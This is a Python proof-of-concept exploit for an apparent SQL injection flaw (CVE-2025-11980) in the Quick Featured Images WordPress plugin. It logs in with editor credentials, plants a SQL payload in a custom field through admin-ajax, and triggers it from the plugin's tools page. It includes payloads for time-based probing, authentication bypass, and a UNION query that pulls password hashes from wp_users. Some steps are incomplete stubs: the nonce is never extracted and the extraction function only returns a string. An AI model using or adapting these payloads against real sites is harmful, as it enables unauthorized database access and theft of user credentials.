import requests
import re
from urllib.parse import quote
# CVE-2025-11980 SQL Injection PoC for WordPress Quick Featured Images <= 13.7.3
# Target: WordPress site with Quick Featured Images plugin installed
class CVE_2025_11980_POC:
def __init__(self, target_url, username, password):
self.target_url = target_url.rstrip('/')
self.username = username
self.password = password
self.session = requests.Session()
def authenticate(self):
"""Authenticate with WordPress using Editor or higher privileges"""
login_url = f"{self.target_url}/wp-login.php"
data = {
'log': self.username,
'pwd': self.password,
'wp-submit': 'Log In'
}
response = self.session.post(login_url, data=data)
return 'wordpress_logged_in' in str(self.session.cookies)
def inject_malicious_custom_field(self, post_id, malicious_value):
"""Inject malicious SQL payload via custom field"""
# Add malicious custom field value to trigger SQL injection
nonce_url = f"{self.target_url}/wp-admin/post.php?post={post_id}&action=edit"
response = self.session.get(nonce_url)
# Extract nonce and add custom field
add_meta_url = f"{self.target_url}/wp-admin/admin-ajax.php"
data = {
'action': 'add-meta',
'metakeyinput': 'qfim_settings',
'metavalue': malicious_value,
'post_id': post_id
}
return self.session.post(add_meta_url, data=data)
def trigger_sqli(self):
"""Trigger the SQL injection via delete_orphaned function"""
# Access the plugin's tools page and trigger delete orphaned images
tools_url = f"{self.target_url}/wp-admin/admin.php?page=quick-featured-images-pro"
# The vulnerable parameter is passed through custom fields
# Payload to extract database user: ' OR (SELECT SLEEP(5))--
return self.session.get(tools_url)
def extract_data(self, payload):
"""Extract sensitive data using SQL injection"""
# Example payload to extract wp_users table data
sqli_payload = f"' UNION SELECT 1,2,3,4,5,6,7,8,9,10,user_pass,12,13,14,15,16,17,18,19,20 FROM wp_users WHERE '1'='1"
return sqli_payload
# Usage example
# poc = CVE_2025_11980_POC('https://target-site.com', 'editor_user', 'password')
# if poc.authenticate():
# print('[+] Authentication successful')
# poc.inject_malicious_custom_field(1, "' OR 1=1--")
# poc.trigger_sqli()
print('CVE-2025-11980 Quick Featured Images SQL Injection PoC')